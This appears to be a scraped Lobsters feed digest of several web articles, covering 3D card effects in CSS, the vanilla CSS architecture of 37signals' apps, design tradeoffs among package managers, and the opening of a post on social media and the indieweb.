A screenshot of a messaging app conversation featuring a user's message expressing excitement about a discovery.

My Personal Blind Spot

I’ve tried many tricks over the years, but one property I religiously avoided was perspective-origin .

If you really dig into how CSS calculates perspective, you realize that perspective-origin doesn’t just shift your point of view. It fundamentally skews the entire viewport. It creates this weird, unnatural distortion that usually looks terrible.

I cover this at length in my talk 3D in CSS, and the True Meaning of Perspective , if you’re into that sort of thing.

Cubiq, however, didn’t have my baggage. He looked at the problem with fresh eyes and realized something brilliant: just as perspective-origin can be used to create distortion, it can also be used to correct it.

Alternate blog post title idea: Finally, we found one good use for perspective-origin ! 🤣

The Solution

Here is the magic formula that Cubiq came up with:

.card-container {
  transform: rotateX(var(--tilt-x)) rotateY(var(--tilt-y));
}

.card {
  perspective: calc(
    cos(var(--tilt-x)) * cos(var(--tilt-y)) * var(--perspective)
  );
  perspective-origin: 
    calc(cos(var(--tilt-x)) * sin(var(--tilt-y)) * var(--perspective) * -1 + 50%)
    calc(sin(var(--tilt-x)) * var(--perspective) + 50%);
  overflow: clip;
}Code language: CSS (css)

It looks a bit scary at first glance, but the logic is actually quite elegant.

Since we are using overflow: clip , the 3D context is flattened. This means the browser treats the card as a flat surface and renders its children onto that surface. Normally, this flattening would kill the 3D effect of the children. They would look like a flat painting on a rotating wall.

But here is the trick: We use perspective and perspective-origin to counter-act the rotation.

By dynamically calculating the perspective-origin based on the card’s tilt, we are essentially telling the browser: “Hey, I know you flattened this element, but I want you to render the perspective of its children as if the viewer is looking at them from this specific angle.”

We are effectively projection-mapping the 3D scene onto the 2D surface of the card. The math ensures that the projection aligns perfectly with the card’s physical rotation, creating the illusion of a deep, 3D space inside a container that the browser considers “flat.”

It’s not about moving the world inside of the card, it’s about tricking the flat projection to look 3D by aligning the viewer’s perspective with the card’s rotation.

The Lesson

I love this solution not just because it works (and it works beautifully), but because it taught me a humbling lesson.

I had written off perspective-origin as a “bad” property. I had a mental block against it because I only saw it as a source of distortion. I was so focused on the “right” way to do 3D, that I blinded myself to the tools that could actually solve the problem.

Cubiq didn’t have that bias. He saw a math problem: “I need the projection to look like X when the rotation is Y.” And he found the property that controls projection.

Breaking It Down

Now that we know it’s possible, let’s break down exactly what’s happening here, step by step, and look at some examples of what you can do with it. Let’s start with the basics.

The HTML

At its core, the structure is simple. We have a .card-container that holds the .card , which in turn contains the .card-content , that is the ‘front’ of the card and where all the inner layers live. and the card-back for the back face.

<div class="outer-container">
  <div class="card">
    <div class="card-content">
      <!-- Inner layers go here -->
    </div>
    <div class="card-back">
      <!-- Back face content -->
    </div>
  </div>
</div>Code language: HTML, XML (xml)

Inside the .card-content , we can now add .card-layers with multiple layers in it. Here I’m setting a --i custom property on each layer to later control its depth.

<div class="card-layers">
  <div class="card-layer" style="--i: 0"></div>
  <div class="card-layer" style="--i: 1"></div>
  <div class="card-layer" style="--i: 2"></div>
  <div class="card-layer" style="--i: 3"></div>
  <!-- more layers as needed -->
</div>Code language: HTML, XML (xml)

Now we can fill each layer with content, images, text, or whatever we want.

The Movement

To create the rotation effect, we need to track the mouse position and convert it into tilt angles for the card. So the first thing we need to do is to map the mouse position into two CSS variables, --mouse-x and --mouse-y .

This is done with few simple lines of JavaScript:

const cardContainer = document.querySelector('.card-container');

window.addEventListener('mousemove', (e) => {
  const rect = cardContainer.getBoundingClientRect();
  const x = (e.clientX - rect.left) / rect.width * 2 - 1;
  const y = (e.clientY - rect.top) / rect.height * 2 - 1;
  cardContainer.style.setProperty('--mouse-x', x);
  cardContainer.style.setProperty('--mouse-y', y);
});Code language: JavaScript (javascript)

This gives us normalized values between -1 and 1 on each axis, so we can use them regardless of the card size or aspect ratio.

We convert these values to --tilt-x and --tilt-y in CSS, by multiplying them by the number of degrees we want the card to rotate:

--tilt-x: calc(var(--mouse-y, 0.1) * -120deg);
--tilt-y: calc(var(--mouse-x, 0.1) * 120deg);Code language: CSS (css)

The higher the degree value, the more dramatic the rotation. 20–30 degrees will give us a subtle effect, while 180 degrees will spin the card all the way around.

Notice that --mouse-x affects --tilt-y , because movement of the mouse along the X axis should actually rotate the card around the Y axis, and vice versa. Also, we multiply --mouse-y by a negative number, because the Y axis on the screen is inverted compared to the mathematical Y axis.

Now that we have --tilt-x and --tilt-y , we can start using them. And first, we apply them to the card container to rotate it in 3D space:

.card {
  transform: rotateX(var(--tilt-x)) rotateY(var(--tilt-y));
}Code language: CSS (css)

This gives us the basic rotation effect. The card will now tilt and spin based on the mouse position.

The Perspective

We need to remember that we need to set two different perspectives: one for the card’s container (to create the 3D effect), and one for the card’s content (to maintain the depth of the inner elements).

on the .card-container we set a standard perspective:

.card-container {
  perspective: var(--perspective);
}Code language: CSS (css)

You can set --perspective to any value you like, but a good starting point is around 800px . Lower values will create a more dramatic perspective, while higher values will make it more subtle.

To preserve the 3D space and making sure all the inner elements share the same 3D context, we set transform-style: preserve-3d . I’m using the universal selector here to apply it to all children elements:

* {
  transform-style: preserve-3d;
}Code language: CSS (css)

To deal with the inner perspective, we set up the perspective and perspective-origin on the .card-content element, which holds all the inner layers:

.card-content {
  perspective: calc(
    cos(var(--tilt-x)) * cos(var(--tilt-y)) * var(--perspective)
  );
  perspective-origin: 
    calc(cos(var(--tilt-x)) * sin(var(--tilt-y)) * var(--perspective) * -1 + 50%)
    calc(sin(var(--tilt-x)) * var(--perspective) + 50%);
  overflow: clip;
}Code language: CSS (css)

Note that we added overflow: clip to the .card-content to ensure that the inner elements are clipped by the card boundaries. This combination of perspective , perspective-origin , and overflow: clip is what allows us to maintain the 3D depth of the inner elements while keeping them contained within the card.

The Depth

Now that we have the rotation and perspective set up, we can start adding depth to the inner layers. Each layer will be positioned in 3D space using translateZ , based on its --i value.

.card-layer {
  position: absolute;
  transform: translateZ(calc(var(--i) * 1rem));
}Code language: CSS (css)

This will space out the layers along the Z axis, creating the illusion of depth. You can adjust the multiplier (here 1rem ) to control how far apart the layers are.

Putting It All Together

Using the techniques outlined above, we can create a fully functional Deep Card that responds to mouse movement, maintains 3D depth, and clips its content appropriately.

Here is a complete ‘boilerplate’ example:

You can customize it to your needs, set the number of layers, their depth, and add content within each layer to create a wide variety of Deep Card effects.

Getting Deeper

To improve the Deep Card effect and further enhance the perception of depth, we can add shadows and darkening effects to the layers.

One way to achieve darker colors is just using darker colors. We can calculate the brightness of each layer based on its depth, making deeper layers darker to simulate light falloff.

.card-layer {
  color: hsl(0 0% calc(100% - var(--i) * 9%));
}Code language: CSS (css)

Another technique is to add semi-transparent background to each layer. This way each layer is like screen that slightly darkens the layers behind it, enhancing the depth effect.

.card-layer {
  background-color: #2224;
}Code language: CSS (css)

Here is an example of a two cards with different effects: The first card uses darker colors for deeper layers, while the second card uses semi-transparent overlays to create a more pronounced depth effect.

Choose the one that fits your design best, or combine both techniques for an even richer depth experience.

The z-index Effect

You might notice that I’m placing all the layers inside a container ( .card-layers ) rather than making them direct children of .card-content . The reason is that since we’re moving the layers along the Z axis, we don’t want them to be direct children of an element with overflow: clip; (like .card-content ).

As mentioned earlier, once you set overflow: clip; on .card-content , its transform-style becomes flat , which means all of its direct children are rendered on a single plane. Their stacking order is determined by z-index , not by their position along the Z axis. By wrapping the layers in a container, we preserve their 3D positioning and allow the depth effect to work as intended.

The Twist

Now that we understand this limitation, let’s turn it to our advantage and see what kinds of effects we can create with it.

Here are the exact same two cards as in the previous example, but this time without a .card-layers container. The layers are direct children of .card-content :

Adding Interaction

We often use cards that need to display extra information. One of my favorite things to do in these cases is to rotate the card 180 degrees and reveal the additional content on the back side. Now, we can do exactly that, and build an entire 3D world inside the card.

In this example, we have a front face ( .card-content ) and a back face ( .card-back ). When the user clicks the card, we toggle a checkbox that rotates the card 180 degrees, revealing the back face.

<label class="card-container">
  <input type="checkbox">
  <div class="card">
    <div class="card-content">
      <!-- front face content -->
    </div>
    <div class="card-back">
      <!-- back face content -->
    </div>
  </div>
</label>Code language: HTML, XML (xml)
.card-container {
  cursor: pointer;
    
  &:has(input:checked) .card {
    rotate: y 180deg;
  }
  
  input[type="checkbox"] {
    display: none;
  }
}Code language: CSS (css)

You can also use a button or any other interactive element to toggle the rotation, depending on your use case, and use any animation technique you like to make the rotation smooth.

Inner Movement

Of course, we can also use any animation on the inner layers to create dynamic effects. It can be wild and complex, or subtle and elegant. The key is that since the layers are in 3D space, any movement along the Z axis will enhance the depth effect.

Here a simple example with parallax layers. each layer animates it’s background position on the X axis, and to enhance the depth effect, I’m animating the layers at different speeds based on their depth:

.card-layer {
  animation: layer calc(var(--i) * 8s) infinite linear;
}Code language: CSS (css)

And the result:

Deep Text Animation

This technique works beautifully with the concept of layered text, opening up a world of creative possibilities. There’s so much you can do with it, from subtle depth effects to wild, animated 3D lettering.

I actually wrote an entire article about this , featuring 20+ examples, and every single one of them looks fantastic inside a Deep Card. Here’s one of the examples from that article, now living inside a card:

Going Full 360

up until now, we’ve mostly focused on layering our inner content and using the Z axis to create depth. But we can definitely take it a step further, break out of the layering concept, and build a fully 3D object that you can spin around in all directions.

From here, the possibilities are truly endless. You can keep experimenting—add more interactions, more layers, or even create effects on both sides of the card to build two complete worlds, one on each face. Or, go all in and design an effect that dives deep into the card itself. The only real limit is your imagination.

Conclusion

The Deep Card is now a solved problem. We can have our cake (3D depth), eat it (clipping), and even spin it around 360 degrees without breaking the illusion.

So, the next time you hit a wall with CSS, and you’re sure you’ve tried everything, maybe take a second look at those properties you swore you’d never use. You might just find your answer hiding in the documentation you skipped.

Now, go build something deep.

Vanilla CSS is all you need

Lobsters
www.zolkos.com
2025-12-07 04:39:56
Comments...
Original Article

Back in April 2024, Jason Zimdars from 37signals published a post about modern CSS patterns in Campfire . He explained how their team builds sophisticated web applications using nothing but vanilla CSS. No Sass. No PostCSS. No build tools.

The post stuck with me. Over the past year and a half, 37signals has released two more products (Writebook and Fizzy) built on the same nobuild philosophy. I wanted to know if these patterns held up. Had they evolved?

I cracked open the source code for Campfire, Writebook, and Fizzy and traced the evolution of their CSS architecture. What started as curiosity became genuine surprise. These are not just consistent patterns. They are improving patterns. Each release builds on the last, adopting progressively more modern CSS features while maintaining the same nobuild philosophy.

These are not hobby projects. Campfire is a real-time chat application. Writebook is a publishing platform. Fizzy is a full-featured project management tool with kanban boards, drag-and-drop, and complex state management. Combined, they represent nearly 14,000 lines of CSS across 105 files.

Not a single line touches a build tool.


The Tailwind Question

Let me be clear: there is nothing wrong with Tailwind . It is a fantastic tool that helps developers ship products faster. The utility-first approach is pragmatic, especially for teams that struggle with CSS architecture decisions.

But somewhere along the way, utility-first became the only answer. CSS has evolved dramatically. The language that once required preprocessors for variables and nesting now has:

37signals looked at this landscape and made a bet: modern CSS is powerful enough. No build step required.

Three products later, that bet is paying off.


The Architecture: Embarrassingly Simple

Open any of these three codebases and you find the same flat structure:

app/assets/stylesheets/
├── _reset.css
├── base.css
├── colors.css
├── utilities.css
├── buttons.css
├── inputs.css
├── [component].css
└── ...

That is it. No subdirectories. No partials. No complex import trees. One file per concept, named exactly what it does.

Zero configuration. Zero build time. Zero waiting.

I would love to see something like this ship with new Rails applications. A simple starting structure with _reset.css , base.css , colors.css , and utilities.css already in place. I suspect many developers reach for Tailwind not because they prefer utility classes, but because vanilla CSS offers no starting point. No buckets. No conventions. Maybe CSS needs its own omakase.


The Color System: Consistent Foundation, Evolving Capabilities

Jason’s original post explained OKLCH well. It is the perceptually uniform color space all three apps use. The short version: unlike RGB or HSL, OKLCH’s lightness value actually corresponds to perceived brightness. A 50% lightness blue looks as bright as a 50% lightness yellow.

What is worth noting is how this foundation remains identical across all three apps:

:root {
  /* Raw LCH values: Lightness, Chroma, Hue */
  --lch-blue: 54% 0.15 255;
  --lch-red: 51% 0.2 31;
  --lch-green: 65% 0.23 142;

  /* Semantic colors built on primitives */
  --color-link: oklch(var(--lch-blue));
  --color-negative: oklch(var(--lch-red));
  --color-positive: oklch(var(--lch-green));
}

Dark mode becomes trivial:

@media (prefers-color-scheme: dark) {
  :root {
    --lch-blue: 72% 0.16 248;   /* Lighter, slightly desaturated */
    --lch-red: 74% 0.18 29;
    --lch-green: 75% 0.20 145;
  }
}

Every color that references these primitives automatically updates. No duplication. No separate dark theme file. One media query, and the entire application transforms.

Fizzy takes this further with color-mix() :

.card {
  --card-color: oklch(var(--lch-blue-dark));

  /* Derive an entire color palette from one variable */
  --card-bg: color-mix(in srgb, var(--card-color) 4%, var(--color-canvas));
  --card-text: color-mix(in srgb, var(--card-color) 30%, var(--color-ink));
  --card-border: color-mix(in srgb, var(--card-color) 33%, transparent);
}

One color in, four harmonious colors out. Change the card color via JavaScript ( element.style.setProperty('--card-color', '...') ), and the entire card theme updates automatically. No class swapping. No style recalculation. Just CSS doing what CSS does best.


The Spacing System: Characters, Not Pixels

Here is a pattern I did not expect: all three applications use ch units for horizontal spacing.

:root {
  --inline-space: 1ch;      /* Horizontal: one character width */
  --block-space: 1rem;      /* Vertical: one root em */
}

.component {
  padding-inline: var(--inline-space);
  margin-block: var(--block-space);
}

Why characters? Because spacing should relate to content. A 1ch gap between words feels natural because it is literally the width of a character. As font size scales, spacing scales proportionally.

This also makes their responsive breakpoints unexpectedly elegant:

@media (min-width: 100ch) {
  /* Desktop: content is wide enough for sidebar */
}

Instead of asking “is this a tablet?”, they are asking “is there room for 100 characters of content?” It is semantic. It is content-driven. It works.


Utility Classes: Yes, They Still Exist

Let me address the elephant in the room. These applications absolutely use utility classes:

/* From utilities.css */
.flex { display: flex; }
.gap { gap: var(--inline-space); }
.pad { padding: var(--block-space) var(--inline-space); }
.txt-large { font-size: var(--text-large); }
.hide { display: none; }

The difference? These utilities are additive , not foundational. The core styling lives in semantic component classes. Utilities handle the exceptions: the one-off layout adjustment, the conditional visibility toggle.

Compare to a typical Tailwind component:

<!-- Tailwind approach -->
<button class="inline-flex items-center gap-2 px-4 py-2 rounded-full
               border border-gray-300 bg-white text-gray-900
               hover:bg-gray-50 focus:ring-2 focus:ring-blue-500">
  Save
</button>

And the 37signals equivalent:

<!-- Semantic approach -->
<button class="btn">Save</button>
.btn {
  --btn-padding: 0.5em 1.1em;
  --btn-border-radius: 2em;

  display: inline-flex;
  align-items: center;
  gap: 0.5em;
  padding: var(--btn-padding);
  border-radius: var(--btn-border-radius);
  border: 1px solid var(--color-border);
  background: var(--btn-background, var(--color-canvas));
  color: var(--btn-color, var(--color-ink));
  transition: filter 100ms ease;
}

.btn:hover {
  filter: brightness(0.95);
}

.btn--negative {
  --btn-background: var(--color-negative);
  --btn-color: white;
}

Yes, it is more CSS. But consider what you gain:

  1. HTML stays readable. class="btn btn--negative" tells you what something is, not how it looks.
  2. Changes cascade. Update --btn-padding once, every button updates.
  3. Variants compose. Add .btn--circle without redefining every property.
  4. Media queries live with components. Dark mode, hover states, and responsive behavior are co-located with the component they affect.

The :has() Revolution

If there is one CSS feature that changes everything, it is :has() . For decades, you needed JavaScript to style parents based on children. No more.

Writebook uses it for a sidebar toggle with no JavaScript:

/* When the hidden checkbox is checked, show the sidebar */
:has(#sidebar-toggle:checked) #sidebar {
  margin-inline-start: 0;
}

Fizzy uses it for kanban column layouts:

.card-columns {
  grid-template-columns: 1fr var(--column-width) 1fr;
}

/* When any column is expanded, adjust the grid */
.card-columns:has(.cards:not(.is-collapsed)) {
  grid-template-columns: auto var(--column-width) auto;
}

Campfire uses it for intelligent button styling:

/* Circle buttons when containing only icon + screen reader text */
.btn:where(:has(.for-screen-reader):has(img)) {
  --btn-border-radius: 50%;
  aspect-ratio: 1;
}

/* Highlight when internal checkbox is checked */
.btn:has(input:checked) {
  --btn-background: var(--color-ink);
  --btn-color: var(--color-ink-reversed);
}

This is CSS doing what you used to need JavaScript for. State management. Conditional rendering. Parent selection. All declarative. All in stylesheets.


Progression

What fascinated me most was watching the architecture evolve across releases.

Campfire (first release) established the foundation:

  • OKLCH colors
  • Custom properties for everything
  • Character-based spacing
  • Flat file organization
  • View Transitions API for smooth page changes

Writebook (second release) added modern capabilities:

  • Container queries for component-level responsiveness
  • @starting-style for entrance animations

Fizzy (third release) went all-in on modern CSS:

  • CSS Layers ( @layer ) for managing specificity
  • color-mix() for dynamic color derivation
  • Complex :has() chains replacing JavaScript state

You can see a team learning, experimenting, and shipping progressively more sophisticated CSS with each product. By Fizzy, they are using features many developers do not even know exist.

/* Fizzy's layer architecture */
@layer reset, base, components, modules, utilities;

@layer components {
  .btn { /* Always lower specificity than utilities */ }
}

@layer utilities {
  .hide { /* Always wins over components */ }
}

CSS Layers solve the specificity wars that have plagued CSS since the beginning. It does not matter what order your files load. It does not matter how many classes you chain. Layers determine the winner, period.


The Loading Spinner

One technique appears in all three applications that deserves special attention. Their loading spinners use no images, no SVGs, no JavaScript. Just CSS masks.

Here is the actual implementation from Fizzy’s spinners.css :

@layer components {
  .spinner {
    position: relative;

    &::before {
      --mask: no-repeat radial-gradient(#000 68%, #0000 71%);
      --dot-size: 1.25em;

      -webkit-mask: var(--mask), var(--mask), var(--mask);
      -webkit-mask-size: 28% 45%;
      animation: submitting 1.3s infinite linear;
      aspect-ratio: 8/5;
      background: currentColor;
      content: "";
      inline-size: var(--dot-size);
      inset: 50% 0.25em;
      margin-block: calc((var(--dot-size) / 3) * -1);
      margin-inline: calc((var(--dot-size) / 2) * -1);
      position: absolute;
    }
  }
}

The keyframes live in a separate animation.css file:

@keyframes submitting {
  0%    { -webkit-mask-position: 0% 0%,   50% 0%,   100% 0% }
  12.5% { -webkit-mask-position: 0% 50%,  50% 0%,   100% 0% }
  25%   { -webkit-mask-position: 0% 100%, 50% 50%,  100% 0% }
  37.5% { -webkit-mask-position: 0% 100%, 50% 100%, 100% 50% }
  50%   { -webkit-mask-position: 0% 100%, 50% 100%, 100% 100% }
  62.5% { -webkit-mask-position: 0% 50%,  50% 100%, 100% 100% }
  75%   { -webkit-mask-position: 0% 0%,   50% 50%,  100% 100% }
  87.5% { -webkit-mask-position: 0% 0%,   50% 0%,   100% 50% }
  100%  { -webkit-mask-position: 0% 0%,   50% 0%,   100% 0% }
}

Three dots, bouncing in sequence:

The background: currentColor means it automatically inherits the text color. Works in any context, any theme, any color scheme. Zero additional assets. Pure CSS creativity.


A Better <mark>

The default browser <mark> element renders as a yellow highlighter. It works, but it is not particularly elegant. Fizzy takes a different approach for search result highlighting: drawing a hand-drawn circle around matched terms.

Fizzy search results showing circled text highlighting

Here is the implementation from circled-text.css :

@layer components {
  .circled-text {
    --circled-color: oklch(var(--lch-blue-dark));
    --circled-padding: -0.5ch;

    background: none;
    color: var(--circled-color);
    position: relative;
    white-space: nowrap;

    span {
      opacity: 0.5;
      mix-blend-mode: multiply;

      @media (prefers-color-scheme: dark) {
        mix-blend-mode: screen;
      }
    }

    span::before,
    span::after {
      border: 2px solid var(--circled-color);
      content: "";
      inset: var(--circled-padding);
      position: absolute;
    }

    span::before {
      border-inline-end: none;
      border-radius: 100% 0 0 75% / 50% 0 0 50%;
      inset-block-start: calc(var(--circled-padding) / 2);
      inset-inline-end: 50%;
    }

    span::after {
      border-inline-start: none;
      border-radius: 0 100% 75% 0 / 0 50% 50% 0;
      inset-inline-start: 30%;
    }
  }
}

The HTML structure is <mark class="circled-text"><span></span>webhook</mark> . The empty span exists solely to provide two pseudo-elements ( ::before and ::after ) that draw the left and right halves of the circle.

The technique uses asymmetric border-radius values to create an organic, hand-drawn appearance. The mix-blend-mode: multiply makes the circle semi-transparent against the background, switching to screen in dark mode for proper blending.

Search results for: webhook

No images. No SVGs. Just borders and border-radius creating the illusion of a hand-drawn circle.


Dialog Animations: The New Way

Fizzy and Writebook both animate HTML <dialog> elements. This was notoriously difficult before. The secret is @starting-style .

Here is the actual implementation from Fizzy’s dialog.css :

@layer components {
  :is(.dialog) {
    border: 0;
    opacity: 0;
    transform: scale(0.2);
    transform-origin: top center;
    transition: var(--dialog-duration) allow-discrete;
    transition-property: display, opacity, overlay, transform;

    &::backdrop {
      background-color: var(--color-black);
      opacity: 0;
      transform: scale(1);
      transition: var(--dialog-duration) allow-discrete;
      transition-property: display, opacity, overlay;
    }

    &[open] {
      opacity: 1;
      transform: scale(1);

      &::backdrop {
        opacity: 0.5;
      }
    }

    @starting-style {
      &[open] {
        opacity: 0;
        transform: scale(0.2);
      }

      &[open]::backdrop {
        opacity: 0;
      }
    }
  }
}

The --dialog-duration variable is defined globally as 150ms .

This dialog animates in and out using pure CSS.

The @starting-style rule defines where the animation starts from when an element appears. Combined with allow-discrete , you can now transition between display: none and display: block . The modal smoothly scales and fades in. The backdrop fades independently. No JavaScript animation libraries. No manually toggling classes. The browser handles it.


What This Means for You

I am not suggesting you abandon your build tools tomorrow. But I am suggesting you reconsider your assumptions.

You might not need Sass or PostCSS. Native CSS has variables, nesting, and color-mix() . The features that needed polyfills are now baseline across browsers.

You might not need Tailwind for every project. Especially if your team understands CSS well enough to build a small design system.

While the industry sprints toward increasingly complex toolchains, 37signals is walking calmly in the other direction. Is this approach right for everyone? No. Large teams with varying CSS skill levels might benefit from Tailwind’s guardrails. But for many projects, their approach is a reminder that simpler can be better.


Thanks to Jason Zimdars and the 37signals team for sharing their approach openly. All code examples in this post are taken from the Campfire, Writebook, and Fizzy source code. For Jason’s original deep-dive into Campfire’s CSS patterns, see Modern CSS Patterns and Techniques in Campfire . If you want to learn modern CSS, these three codebases are an exceptional classroom.

Package Manager Design Tradeoffs

Lobsters
nesbitt.io
2025-12-07 04:39:04
Comments...
Original Article

Package managers make dozens of design decisions with no right answer. Each choice has real costs and benefits, and choosing one side often forecloses other options. This is a survey of those tradeoffs.

Full index replication vs on-demand queries

apt downloads complete package indexes with apt update . Resolution happens locally against this full index. npm and PyPI serve metadata per-package through API queries.

Full replication means fast resolution once synced and works offline. But initial sync is slow, takes disk space, and stale data requires re-syncing. On-demand queries mean smaller bandwidth and always-current data, but resolution requires network access and many round trips. Cargo’s sparse indexes try to get benefits of both, fetching only metadata for crates you actually need.

One version vs many versions retained

Homebrew keeps one version of each formula, when a new version is released the old one disappears. Most language package managers keep every published version available indefinitely.

One version simplifies everything, no version resolution needed, no storage growth, the ecosystem moves together. But breakage propagates immediately, you can’t pin while waiting for a fix, and everyone must upgrade in lockstep. Many versions give flexibility and let projects move at different speeds. But old versions accumulate vulnerabilities, maintainers face pressure to support multiple releases, and you need resolution logic to pick among them.

Source distribution vs binary distribution

Cargo and Go distribute source code; installs involve compilation. PyPI wheels, Maven jars, and NuGet packages are prebuilt binaries.

Source distribution means one artifact works on any platform, users can audit exactly what they’re running, and reproducible builds are possible if the toolchain is deterministic. Binary distribution means fast installs, no compiler toolchain needed on the client, and maintainers control the build environment. The cost is building for every supported platform and trusting that the binary matches the source.

Single artifact vs platform matrix

Cargo publishes one crate per version. PyPI wheels have separate artifacts per Python version, ABI, and platform ( cp39-manylinux_x86_64 , cp310-macosx_arm64 , etc.).

Single artifact is simple, one thing to publish, one thing to verify, no matrix explosion. But it only works when packages are platform-independent or when you push compilation to install time. Platform matrices give fast installs for native code without requiring build tools. The cost is build infrastructure for every supported platform, larger registry storage, and client-side logic to pick the right artifact.

Single registry vs multiple registries

RubyGems and Cargo have a single canonical registry by convention. Maven routinely uses multiple repositories with priority ordering. pip users juggle PyPI plus internal indexes.

Single registry means simpler configuration, no ambiguity about where a package comes from, and easier security reasoning. Multiple registries let organizations run private packages, mirror public packages for reliability, and control what enters their dependency graph. But fallback ordering creates confusion about which version you’re getting. Dependency confusion is a real attack vector: publish a malicious package to a public registry with the same name as a private one, and misconfigured clients fetch the attacker’s version instead.

Maximal vs minimal version selection

Most package managers pick the newest version satisfying constraints. Go modules use minimal version selection, picking the oldest version that works.

Maximal selection gives you bug fixes and security patches automatically. You’re running versions closer to what maintainers tested. But you’re always one bad publish away from breakage, and builds change over time as new versions appear. Minimal selection is deterministic without a lockfile since the algorithm itself produces stable results. It’s also forwards-compatible: when a library adds a new dependency, downstream consumers’ resolved versions don’t change unless they also add that dependency. But you might get bugs fixed in newer versions, and maintainers must test their minimum bounds carefully because users will actually get those minimums.

Fail on conflicts vs allow multiple versions

When two packages want incompatible versions of a dependency, what happens? pip fails resolution. npm dedupes where possible but nests conflicting versions so each package gets what it asked for. Nix allows multiple versions via content-addressed storage.

Failing keeps the ecosystem coherent, if your dependencies can’t agree you find out immediately. But it means you sometimes can’t use two packages together at all. Nesting conflicting versions avoids resolution failures but bloats installs and causes problems when types or state cross version boundaries. Nix sidesteps the problem entirely by giving each package its own isolated dependency tree, stored by content hash so identical versions are shared. But this requires a different storage model and breaks assumptions about where packages live on disk.

Open publishing vs gated review

npm, PyPI, and crates.io let anyone publish immediately with no review. Debian requires packages to be sponsored and reviewed before entering the archive. Homebrew reviews pull requests before formulas are merged.

Open publishing grows ecosystems fast, anyone can contribute, iteration is quick, and there’s no bottleneck. But it invites typosquatting, malware, and low-quality packages. Gated review catches problems before they reach users and maintains quality standards. But it creates delays, requires reviewer time, and limits who can participate. The review bottleneck can also become a governance chokepoint.

Flat vs scoped vs hierarchical namespaces

RubyGems has a flat namespace: rails , rake , nokogiri . npm added scopes: @babel/core , @types/node . Maven uses reverse-domain hierarchical naming: org.apache.commons:commons-lang3 .

Flat namespaces are simple, names are short and memorable. But popular names get claimed early, squatting is easy, and name collisions require awkward workarounds. Scopes add organizational structure and make collisions rarer, but they require governance for who owns scopes. Maven’s hierarchical approach ties names to domain ownership, which provides clear authority but creates verbose identifiers and assumes stable domain ownership.

Central registry vs external identifier

npm controls who gets what name on npmjs.com. Go modules use URLs as package names; github.com/user/repo derives from domain and repository ownership.

Central authority enables dispute resolution, curation, and clean namespaces, the registry can transfer names, reserve important ones, and handle conflicts. But it concentrates power and creates a single point of control. External identifiers remove the bottleneck, no one needs permission to publish. But names become tied to infrastructure that changes, domains expire, repositories move, organizations rename. A name that made sense in 2019 might point somewhere dangerous in 2025. And when a source host goes offline, the package becomes unfetchable with no migration path.

Explicit publish step vs pull from source

npm, Cargo, and RubyGems require maintainers to run a publish command. Go modules pull directly from git tags.

Explicit publishing creates an intentional gate, maintainers decide what’s a release, you can publish a subset of the repo keeping packages small, and the registry can validate at publish time. But published code can diverge from the repo. The xz Utils backdoor exploited this gap, with malicious code in tarballs that wasn’t in the repository. Pull-from-source means the repo is the source of truth, what you audit is what you run, release is just git tagging. But you get everything in the repo including test fixtures, and you can’t easily unpublish since tags persist in forks. And pull-from-source doesn’t prevent all supply chain attacks, just the class that relies on tarball divergence. Malicious code committed to the repo still flows through.

Yanking vs full deletion

When something bad gets published, Cargo and RubyGems let you yank, marking a version as unavailable for new resolves while keeping it accessible for existing lockfiles. npm allows deletion but with time limits.

Yanking preserves reproducibility, existing projects keep working. But the bad version remains accessible, which matters if the problem is a security vulnerability or malicious code. Full deletion actually removes the problem but breaks reproducibility, projects with that version locked suddenly can’t build.

Build hooks allowed vs forbidden

npm’s postinstall runs arbitrary code during installation. Cargo’s build.rs can do the same, though by convention it’s limited to build configuration and native compilation. Go deliberately has no build hooks.

Hooks enable native compilation, downloading platform-specific binaries, and environment-specific setup, esbuild uses postinstall to fetch the right binary for your platform. Cargo’s build.rs output is cached and only re-runs when inputs change, reducing repeated execution. But hooks are a massive attack surface, a compromised dependency can run anything during install. pnpm disables scripts by default. No hooks means predictable builds and a smaller attack surface, Go pays for this by making native code integration painful.

Semver format vs arbitrary strings vs enforced semantics

Cargo, npm, and Hex require versions in semver format (x.y.z) but trust maintainers to follow the compatibility conventions. apt and pacman allow arbitrary version strings. Elm actually enforces semver semantics by diffing package APIs and rejecting publishes that break compatibility without a major bump.

Semver format lets tooling assume structure and provide smart defaults for version ranges. But format alone doesn’t guarantee meaning, and maintainers often get compatibility wrong. Arbitrary strings offer flexibility for upstream projects that don’t follow semver, but resolvers can’t infer compatibility. Enforced semantics catch mistakes but only work when the type system is expressive enough to capture API compatibility. Elm can do this; Python couldn’t.

System-wide vs per-project installation

apt installs packages into shared system directories, one version of OpenSSL serves every application. Bundler and Cargo install per-project, isolating dependencies completely.

System-wide installation saves disk space and means security patches apply everywhere at once. When Debian pushes a fix for libssl, every application gets it on the next upgrade. But you can’t run two applications that need different versions of the same library. Per-project installation allows conflicting requirements to coexist but duplicates storage and means each project must be updated separately when vulnerabilities appear.

Coordinated releases vs rolling updates

Debian stable freezes a set of packages tested together. Arch updates packages continuously as upstream releases them.

Frozen releases give stability, you know that every package in Debian 12 works with every other package in Debian 12 because someone tested those combinations. But software is often years out of date. Rolling releases give freshness and quick security updates but packages might not work together at any given moment, an update to one package might break another before the fix propagates.

Registry-managed signing vs author-controlled signing

npm signs packages at the registry level. Debian requires GPG signatures from maintainers. PyPI supports Sigstore, tying signatures to identity providers rather than long-lived keys.

Registry-managed signing is transparent to publishers but means you’re trusting the registry, not the author. Author-controlled signing (GPG) proves authorship but requires key management, which maintainers often get wrong - keys expire, get lost, or lack rotation. Keyless signing through identity providers (Sigstore) removes key management but ties identity to external services.


These tradeoffs interact. Pull-from-source publishing means you can’t enforce build-time validation. Allowing multiple versions simultaneously makes conflict handling moot but version boundaries create new problems. Deterministic resolution without lockfiles requires minimal version selection. You can’t have fast, small, fully secure, and perfectly reproducible builds all at once, every package manager picks which constraints to prioritize.

Scientists link sugar substitute sorbitol to liver disease in zebrafish

Hacker News
scitechdaily.com
2025-12-07 04:10:11
Comments...

Discovering the indieweb with calm tech

Lobsters
alexsci.com
2025-12-07 03:23:43
Comments...
Original Article
Blog Home

When social media first entered my life, it came with a promise of connection. Facebook connected college-aged adults in a way that was previously impossible, helping to shape our digital generation. Social media was our super-power and we wielded it to great effect.

Yet social media today is a noisy, needy, mental health hazard. They push distracting notifications, constantly begging us to “like and subscribe”, and trying to trap us in endless scrolling. They have become sirens that lure us into their ad-infested shores with their saccharine promise of dopamine.

The Siren (1888) by Edward Armitage with the text 'Connect with friends and the world around you on Facebook' added.

Beware the siren's call

